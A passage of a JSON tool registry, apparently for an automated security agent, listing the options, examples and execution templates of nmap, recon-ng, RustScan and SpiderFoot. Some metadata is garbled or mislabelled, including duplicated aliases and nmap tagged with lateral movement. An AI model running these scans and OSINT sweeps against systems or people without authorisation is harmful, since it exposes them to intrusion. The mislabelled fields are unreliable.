        "default_value": null,
        "description": "",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-7",
        "template_key": "flag-s-7",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "SCTP INIT/COOKIE-ECHO scans",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-8",
        "template_key": "flag-s-8",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IP protocol scan",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-s-9",
        "template_key": "flag-s-9",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Probe open ports to determine service/version info",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Increase verbosity level (use -vv or more for greater effect)",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "host-timeout",
        "template_key": "host-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--host-timeout <time>"
        ],
        "flag": "--host-timeout"
      },
      {
        "name": "iL",
        "type": "boolean",
        "required": false,
        "description": "Input from list of hosts/networks",
        "aliases": [
          "-iL"
        ],
        "flag": "-iL"
      },
      {
        "name": "iR",
        "type": "boolean",
        "required": false,
        "description": "Choose random targets",
        "aliases": [
          "-iR"
        ],
        "flag": "-iR"
      },
      {
        "name": "iflist",
        "template_key": "iflist",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--iflist"
        ],
        "flag": "--iflist"
      },
      {
        "name": "ip-options",
        "template_key": "ip-options",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--ip-options <options>"
        ],
        "flag": "--ip-options"
      },
      {
        "name": "max-rate",
        "template_key": "max-rate",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--max-rate <number>"
        ],
        "flag": "--max-rate"
      },
      {
        "name": "max-retries",
        "template_key": "max-retries",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--max-retries <tries>"
        ],
        "flag": "--max-retries"
      },
      {
        "name": "min-hostgroup",
        "template_key": "min-hostgroup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-h",
          "--min-hostgroup"
        ],
        "flag": "-h"
      },
      {
        "name": "min-parallelism",
        "template_key": "min-parallelism",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-p",
          "--min-parallelism"
        ],
        "flag": "-p"
      },
      {
        "name": "min-rate",
        "template_key": "min-rate",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--min-rate <number>"
        ],
        "flag": "--min-rate"
      },
      {
        "name": "min-rtt-timeout",
        "template_key": "min-rtt-timeout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "probe round trip time",
        "aliases": [
          "-r",
          "-t",
          "-r",
          "-t",
          "--min-rtt-timeout"
        ],
        "flag": "-r"
      },
      {
        "name": "mtu",
        "template_key": "mtu",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-f",
          "--mtu <val>"
        ],
        "flag": "-f"
      },
      {
        "name": "no-stylesheet",
        "template_key": "no-stylesheet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--no-stylesheet"
        ],
        "flag": "--no-stylesheet"
      },
      {
        "name": "noninteractive",
        "template_key": "noninteractive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--noninteractive"
        ],
        "flag": "--noninteractive"
      },
      {
        "name": "oA",
        "type": "boolean",
        "required": false,
        "description": "Output in the three major formats at once",
        "aliases": [
          "-oA"
        ],
        "flag": "-oA"
      },
      {
        "name": "oX",
        "type": "boolean",
        "required": false,
        "description": "Output scan in normal, XML, s|<rIpt kIddi3,",
        "aliases": [
          "-oX",
          "-oS",
          "-oG"
        ],
        "flag": "-oX"
      },
      {
        "name": "open",
        "template_key": "open",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--open"
        ],
        "flag": "--open"
      },
      {
        "name": "osscan-guess",
        "template_key": "osscan-guess",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--osscan-guess"
        ],
        "flag": "--osscan-guess"
      },
      {
        "name": "osscan-limit",
        "template_key": "osscan-limit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--osscan-limit"
        ],
        "flag": "--osscan-limit"
      },
      {
        "name": "packet-trace",
        "template_key": "packet-trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--packet-trace"
        ],
        "flag": "--packet-trace"
      },
      {
        "name": "port-ratio",
        "template_key": "port-ratio",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--port-ratio <ratio>"
        ],
        "flag": "--port-ratio"
      },
      {
        "name": "privileged",
        "template_key": "privileged",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--privileged"
        ],
        "flag": "--privileged"
      },
      {
        "name": "proxies",
        "template_key": "proxies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--proxies <url1,[url2],...>"
        ],
        "flag": "--proxies"
      },
      {
        "name": "reason",
        "template_key": "reason",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--reason"
        ],
        "flag": "--reason"
      },
      {
        "name": "resume",
        "template_key": "resume",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--resume <filename>"
        ],
        "flag": "--resume"
      },
      {
        "name": "sC",
        "type": "boolean",
        "required": false,
        "description": "equivalent to --script=default",
        "aliases": [
          "-sC"
        ],
        "flag": "-sC"
      },
      {
        "name": "sI",
        "type": "boolean",
        "required": false,
        "description": "Idle scan",
        "aliases": [
          "-sI"
        ],
        "flag": "-sI"
      },
      {
        "name": "sL",
        "type": "boolean",
        "required": false,
        "description": "List Scan - simply list targets to scan",
        "aliases": [
          "-sL"
        ],
        "flag": "-sL"
      },
      {
        "name": "sN",
        "type": "boolean",
        "required": false,
        "description": "/sF/sX: TCP Null, FIN, and Xmas scans",
        "aliases": [
          "-sN"
        ],
        "flag": "-sN"
      },
      {
        "name": "sO",
        "type": "boolean",
        "required": false,
        "description": "IP protocol scan",
        "aliases": [
          "-sO"
        ],
        "flag": "-sO"
      },
      {
        "name": "sS",
        "type": "boolean",
        "required": false,
        "description": "/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans",
        "aliases": [
          "-sS"
        ],
        "flag": "-sS"
      },
      {
        "name": "sU",
        "type": "boolean",
        "required": false,
        "description": "UDP Scan",
        "aliases": [
          "-sU"
        ],
        "flag": "-sU"
      },
      {
        "name": "sV",
        "type": "boolean",
        "required": false,
        "description": "Probe open ports to determine service/version info",
        "aliases": [
          "-sV"
        ],
        "flag": "-sV"
      },
      {
        "name": "sY",
        "type": "boolean",
        "required": false,
        "description": "/sZ: SCTP INIT/COOKIE-ECHO scans",
        "aliases": [
          "-sY"
        ],
        "flag": "-sY"
      },
      {
        "name": "scan-delay",
        "template_key": "scan-delay",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--scan-delay",
          "--max-scan-delay <time>"
        ],
        "flag": "--scan-delay"
      },
      {
        "name": "scanflags",
        "template_key": "scanflags",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--scanflags <flags>"
        ],
        "flag": "--scanflags"
      },
      {
        "name": "script",
        "template_key": "script",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "directories, script-files or script-categories",
        "aliases": [
          "--script"
        ],
        "flag": "--script"
      },
      {
        "name": "script-args",
        "template_key": "script-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-args"
        ],
        "flag": "--script-args"
      },
      {
        "name": "script-args-file",
        "template_key": "script-args-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-args-file"
        ],
        "flag": "--script-args-file"
      },
      {
        "name": "script-help",
        "template_key": "script-help",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "<Lua scripts> is a comma-separated list of script-files or script-categories",
        "aliases": [
          "--script-help"
        ],
        "flag": "--script-help"
      },
      {
        "name": "script-trace",
        "template_key": "script-trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-trace"
        ],
        "flag": "--script-trace"
      },
      {
        "name": "script-updatedb",
        "template_key": "script-updatedb",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--script-updatedb"
        ],
        "flag": "--script-updatedb"
      },
      {
        "name": "send-eth",
        "template_key": "send-eth",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--send-eth",
          "--send-ip"
        ],
        "flag": "--send-ip"
      },
      {
        "name": "sn",
        "type": "boolean",
        "required": false,
        "description": "Ping Scan - disable port scan",
        "aliases": [
          "-sn"
        ],
        "flag": "-sn"
      },
      {
        "name": "source-port",
        "template_key": "source-port",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-g",
          "--source-port <portnum>"
        ],
        "flag": "-g"
      },
      {
        "name": "spoof-mac",
        "template_key": "spoof-mac",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--spoof-mac <mac address/prefix/vendor name>"
        ],
        "flag": "--spoof-mac"
      },
      {
        "name": "stylesheet",
        "template_key": "stylesheet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--stylesheet <path/URL>"
        ],
        "flag": "--stylesheet"
      },
      {
        "name": "system-dns",
        "template_key": "system-dns",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--system-dns"
        ],
        "flag": "--system-dns"
      },
      {
        "name": "top-ports",
        "template_key": "top-ports",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--top-ports <number>"
        ],
        "flag": "--top-ports"
      },
      {
        "name": "traceroute",
        "template_key": "traceroute",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--traceroute"
        ],
        "flag": "--traceroute"
      },
      {
        "name": "ttl",
        "template_key": "ttl",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t",
          "-l",
          "--ttl <val>"
        ],
        "flag": "-t"
      },
      {
        "name": "unprivileged",
        "template_key": "unprivileged",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--unprivileged"
        ],
        "flag": "--unprivileged"
      },
      {
        "name": "version-all",
        "template_key": "version-all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-all"
        ],
        "flag": "--version-all"
      },
      {
        "name": "version-intensity",
        "template_key": "version-intensity",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-intensity <level>"
        ],
        "flag": "--version-intensity"
      },
      {
        "name": "version-light",
        "template_key": "version-light",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-light"
        ],
        "flag": "--version-light"
      },
      {
        "name": "version-trace",
        "template_key": "version-trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--version-trace"
        ],
        "flag": "--version-trace"
      },
      {
        "name": "webxml",
        "template_key": "webxml",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--webxml"
        ],
        "flag": "--webxml"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Nmap official documentation",
        "url": "https://nmap.org/docs.html"
      },
      {
        "label": "Nmap Network Scanning book",
        "url": "https://nmap.org/book/"
      },
      {
        "label": "NSE script reference",
        "url": "https://nmap.org/nsedoc/"
      }
    ],
    "related_tools": [
      "masscan",
      "rustscan",
      "zenmap"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [
      "Kerberos"
    ],
    "techniques": [
      "command-and-control",
      "discovery",
      "enumeration",
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "scan-results",
        "host-list",
        "open-ports"
      ],
      "consumes": [
        "target-ip",
        "target-range"
      ]
    }
  },
  {
    "_body": "\n# Recon-ng — Reconnaissance Framework\n\nRecon-ng is a powerful web reconnaissance framework that provides an interactive environment for open-source intelligence gathering. It features a modular architecture with modules for contact discovery, domain enumeration, credential harvesting, geolocation, and more.\n\n## Framework Architecture\n\n- **Workspaces**: Isolate reconnaissance data per target\n- **Modules**: 100+ modules organized by category (discovery, exploitation, import, recon, reporting)\n- **Marketplace**: Download community modules\n- **Reporting**: Generate HTML, CSV, and other report formats\n\n## Interactive Usage\n\n```\n$ recon-ng -w target\n[recon-ng][target] > marketplace search shodan\n[recon-ng][target] > modules load recon/domains-hosts/shodan_hostname\n[recon-ng][target][shodan_hostname] > set SOURCE example.com\n[recon-ng][target][shodan_hostname] > run\n```\n",
    "_source": "recon-ng.md",
    "allowed-tools": [
      "recon-ng",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.report",
        "description": "Reconnaissance report and collected intelligence",
        "mime": "text/html",
        "trust_level": "community"
      },
      {
        "type": "security.recon.workspace",
        "description": "Recon-ng workspace database",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.intel.osint",
      "security.recon.passive",
      "security.recon.framework",
      "security.intel.email",
      "network.discovery.subdomain",
      "security.intel.contact",
      "security.intel.geolocation"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        },
        {
          "type": "security.target.company",
          "description": "Company name for profiling"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.report",
          "description": "Reconnaissance data",
          "mime": "text/html"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Full-featured reconnaissance framework with modules for OSINT, social engineering, and target profiling across dozens of data sources.",
    "examples": [
      {
        "description": "Launch recon-ng with a specific workspace",
        "command": "recon-ng -w target-company"
      },
      {
        "description": "Run commands from a resource file",
        "command": "recon-ng -w target-company -r commands.rc"
      },
      {
        "description": "Launch in stealth mode (no passive requests)",
        "command": "recon-ng --stealth"
      },
      {
        "description": "Interactive mode — create workspace and load modules",
        "command": "recon-ng -w example"
      },
      {
        "description": "Marketplace module search via CLI args",
        "command": "recon-ng --no-marketplace"
      }
    ],
    "execution": {
      "template": "recon-ng -w {workspace}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": true
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com",
      "workspace": "default"
    },
    "id": "security-recon-recon-ng",
    "install": [
      {
        "method": "apt",
        "package_name": "recon-ng",
        "commands": [
          "apt-get install -y recon-ng"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "recon-ng",
    "namespace": "security:recon:recon-ng",
    "parameters": [
      {
        "name": "accessible",
        "type": "boolean",
        "required": false,
        "description": "Use accessible outputs when available",
        "aliases": [
          "--accessible"
        ],
        "flag": "--accessible"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Load commands from a resource file",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": "default",
        "description": "Load/create a workspace",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "show this help message and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "no-marketplace",
        "template_key": "no-marketplace",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Disable remote module management",
        "aliases": [
          "--no-marketplace"
        ],
        "flag": "--no-marketplace"
      },
      {
        "name": "no_analytics",
        "type": "boolean",
        "required": false,
        "description": "disable analytics reporting",
        "aliases": [
          "--no-analytics"
        ],
        "flag": "--no-analytics"
      },
      {
        "name": "no_version",
        "type": "boolean",
        "required": false,
        "description": "disable version check",
        "aliases": [
          "--no-version"
        ],
        "flag": "--no-version"
      },
      {
        "name": "stealth",
        "template_key": "stealth",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Disable all passive requests",
        "aliases": [
          "--stealth"
        ],
        "flag": "--stealth"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "displays the current version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Recon-ng GitHub",
        "url": "https://github.com/lanmaster53/recon-ng"
      },
      {
        "label": "Recon-ng documentation",
        "url": "https://github.com/lanmaster53/recon-ng/wiki"
      }
    ],
    "related_tools": [
      "spiderfoot",
      "theharvester",
      "maltego"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration",
      "recon"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "contacts",
        "credentials",
        "domains",
        "hosts",
        "leaked-data"
      ],
      "consumes": [
        "domain",
        "company-name"
      ]
    }
  },
  {
    "_body": "\n# RustScan — Fast Port Scanner with Nmap Integration\n\nRustScan is a modern port scanner written in Rust that optimizes the scanning workflow by automatically piping all discovered open ports into Nmap for detailed service enumeration and NSE script execution.\n\n## Key Features\n\n- **Blazing fast**: Scans all 65k ports in ~3 seconds\n- **Automatic Nmap integration**: Pipes results directly to Nmap\n- **Adaptive batching**: Automatically adjusts batch size based on target responsiveness\n- **Scriptable output**: Greppable format for easy parsing\n\n## Basic Usage\n\n```bash\n# Basic scan with Nmap auto-integration\nrustscan -a 10.10.10.1\n\n# Fast port-only scan, skip Nmap\nrustscan -a 10.10.10.1 -n\n\n# Scan specific ports\nrustscan -a 10.10.10.1 -p 22,80,443,8080\n```\n\n## Performance Tuning\n\n- `-b` controls batch size (default: 4500); lower for unstable connections\n- `--timeout` in milliseconds; increase for high-latency targets\n- `--tries` increases reliability on lossy networks\n",
    "_source": "rustscan.md",
    "allowed-tools": [
      "rustscan",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.scan.port.list",
        "description": "List of open ports from fast scan",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "network.scan.nmap.xml",
        "description": "Nmap XML output when piped to Nmap",
        "mime": "application/xml",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.scan.port",
      "network.discovery.host",
      "security.fingerprint.service"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or hostname"
        },
        {
          "type": "network.target.range",
          "description": "IP range or CIDR notation"
        }
      ],
      "outputs": [
        {
          "type": "network.scan.port.list",
          "description": "Discovered open ports",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "nmap"
    ],
    "description": "Lightning-fast port scanner written in Rust that automatically pipes results into Nmap for service detection and scripting.",
    "examples": [
      {
        "description": "Scan all ports on a single target with default Nmap integration",
        "command": "rustscan -a 10.10.10.1"
      },
      {
        "description": "Scan specific ports with custom batch size",
        "command": "rustscan -a 10.10.10.1 -p 22,80,443 -b 2000"
      },
      {
        "description": "Scan without auto-Nmap",
        "command": "rustscan -a scanme.nmap.org -n"
      },
      {
        "description": "Scan a CIDR range",
        "command": "rustscan -a 10.10.10.0/24 --range 1-1000"
      },
      {
        "description": "Greppable output for scripting",
        "command": "rustscan -a 10.10.10.1 -g"
      },
      {
        "description": "UDP scan (experimental)",
        "command": "rustscan -a 10.10.10.1 -u -p 53,161"
      }
    ],
    "execution": {
      "template": "rustscan -a {target} -p {ports} --batch {batch} --timeout {timeout}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip",
      "ports": "1-65535",
      "batch": "4500",
      "timeout": "1500"
    },
    "id": "security-recon-rustscan",
    "install": [
      {
        "method": "apt",
        "package_name": "rustscan",
        "commands": [
          "apt-get install -y rustscan"
        ]
      },
      {
        "method": "cargo",
        "package_name": "rustscan",
        "commands": [
          "cargo install rustscan"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "rustscan",
    "namespace": "security:recon:rustscan",
    "parameters": [
      {
        "name": "V",
        "type": "boolean",
        "required": false,
        "description": "Print version information",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "accessible",
        "type": "boolean",
        "required": false,
        "description": "Only show accessible ports",
        "aliases": [
          "--accessible"
        ],
        "flag": "--accessible"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target IP address, hostname, or CIDR range",
        "aliases": [
          "-a",
          "--address"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "integer",
        "required": false,
        "default_value": 4500,
        "description": "Batch size for port scanning",
        "aliases": [
          "-b",
          "--batch"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Greppable output",
        "aliases": [
          "-g",
          "--greppable"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Do not run Nmap automatically",
        "aliases": [
          "-n",
          "--no-nmap"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": "1-65535",
        "description": "Ports to scan",
        "aliases": [
          "-p",
          "--ports"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Scan UDP ports",
        "aliases": [
          "-u",
          "--udp"
        ],
        "flag": "-u"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Print help information",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "t",
        "type": "boolean",
        "required": false,
        "description": "The time in milliseconds before a timeout occurs (default: 1500)",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": 1500,
        "description": "Timeout in milliseconds",
        "aliases": [
          "--timeout"
        ],
        "flag": "--timeout"
      },
      {
        "name": "tries",
        "template_key": "tries",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of tries before giving up",
        "aliases": [
          "--tries"
        ],
        "flag": "--tries"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "RustScan GitHub",
        "url": "https://github.com/RustScan/RustScan"
      }
    ],
    "related_tools": [
      "nmap",
      "masscan",
      "naabu"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "open-ports",
        "scan-results"
      ],
      "consumes": [
        "target-ip",
        "target-range"
      ]
    }
  },
  {
    "_body": "\n# SpiderFoot — OSINT Automation\n\nSpiderFoot is an open-source intelligence automation tool that queries over 200 data sources to build comprehensive profiles of domains, IP addresses, email addresses, and URLs. It operates in both CLI and web UI modes.\n\n## Scan Types\n\n| Use Case | Description |\n|----------|-------------|\n| `passive` | No direct contact with target infrastructure |\n| `footprint` | Broad information gathering |\n| `investigate` | Deep investigation of target |\n| `all` | All available modules |\n\n## Data Sources Over 200\n\n- Search engines (Google, Bing, Yahoo)\n- Threat intelligence (AlienVault, VirusTotal, Shodan)\n- Certificate transparency logs\n- DNS records and whois\n- Data breach databases\n- Social media platforms\n- Code repositories\n",
    "_source": "spiderfoot.md",
    "allowed-tools": [
      "spiderfoot",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.report",
        "description": "SpiderFoot scan report",
        "mime": "text/html",
        "trust_level": "verified"
      },
      {
        "type": "security.recon.events",
        "description": "SpiderFoot event data",
        "mime": "application/json",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.intel.osint",
      "security.recon.passive",
      "security.intel.email",
      "network.discovery.subdomain",
      "security.intel.vulnerability",
      "security.intel.breach",
      "security.recon.framework"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        },
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "security.target.email",
          "description": "Email address"
        },
        {
          "type": "network.target.url",
          "description": "Target URL"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.report",
          "description": "Scan report with OSINT findings",
          "mime": "text/html"
        },
        {
          "type": "security.recon.events",
          "description": "Event data as JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Open-source intelligence automation tool that queries over 200 data sources for email, domain, IP, and web footprinting.",
    "examples": [
      {
        "description": "Basic footprint scan on a domain",
        "command": "spiderfoot -s example.com"
      },
      {
        "description": "Full scan with all modules",
        "command": "spiderfoot -s example.com -u all"
      },
      {
        "description": "Passive only scan (no direct contact)",
        "command": "spiderfoot -s example.com -u passive"
      },
      {
        "description": "Investigate an IP address",
        "command": "spiderfoot -s 8.8.8.8 -u investigate"
      },
      {
        "description": "Specific event types only",
        "command": "spiderfoot -s example.com -t \"DOMAIN_NAME,IP_ADDRESS\""
      },
      {
        "description": "JSON output for pipeline processing",
        "command": "spiderfoot -s example.com -o json"
      },
      {
        "description": "Launch web UI on custom port",
        "command": "spiderfoot -l 127.0.0.1:5001"
      },
      {
        "description": "List all available modules",
        "command": "spiderfoot -M"
      },
      {
        "description": "Run correlation rules against a completed scan",
        "command": "spiderfoot -C SCAN_ID"
      }
    ],
    "execution": {
      "template": "spiderfoot -s {target}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com"
    },
    "id": "security-recon-spiderfoot",
    "install": [
      {
        "method": "pip",
        "package_name": "spiderfoot",
        "commands": [
          "pip install spiderfoot"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "spiderfoot",
    "namespace": "security:recon:spiderfoot",
    "parameters": [
      {
        "name": "C",
        "type": "boolean",
        "required": false,
        "description": "scanID  Run correlation rules against a scan ID.",
        "aliases": [
          "-C",
          "--correlate"
        ],
        "flag": "-C"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "DELIMITER          Delimiter for CSV output.",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "F",
        "type": "boolean",
        "required": false,
        "description": "type1,type2,...    Show only a set of event types.",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "H",
        "type": "boolean",
        "required": false,
        "description": "Don't print field headers.",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "M",
        "type": "boolean",
        "required": false,
        "description": "List available modules.",
        "aliases": [
          "-M",
          "--modules"
        ],
        "flag": "-M"
      },
      {
        "name": "V",
        "type": "boolean",
        "required": false,
        "description": "Display the version.",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "Enable debug output.",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "f",
        "type": "boolean",
        "required": false,
        "description": "Filter out other event types.",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
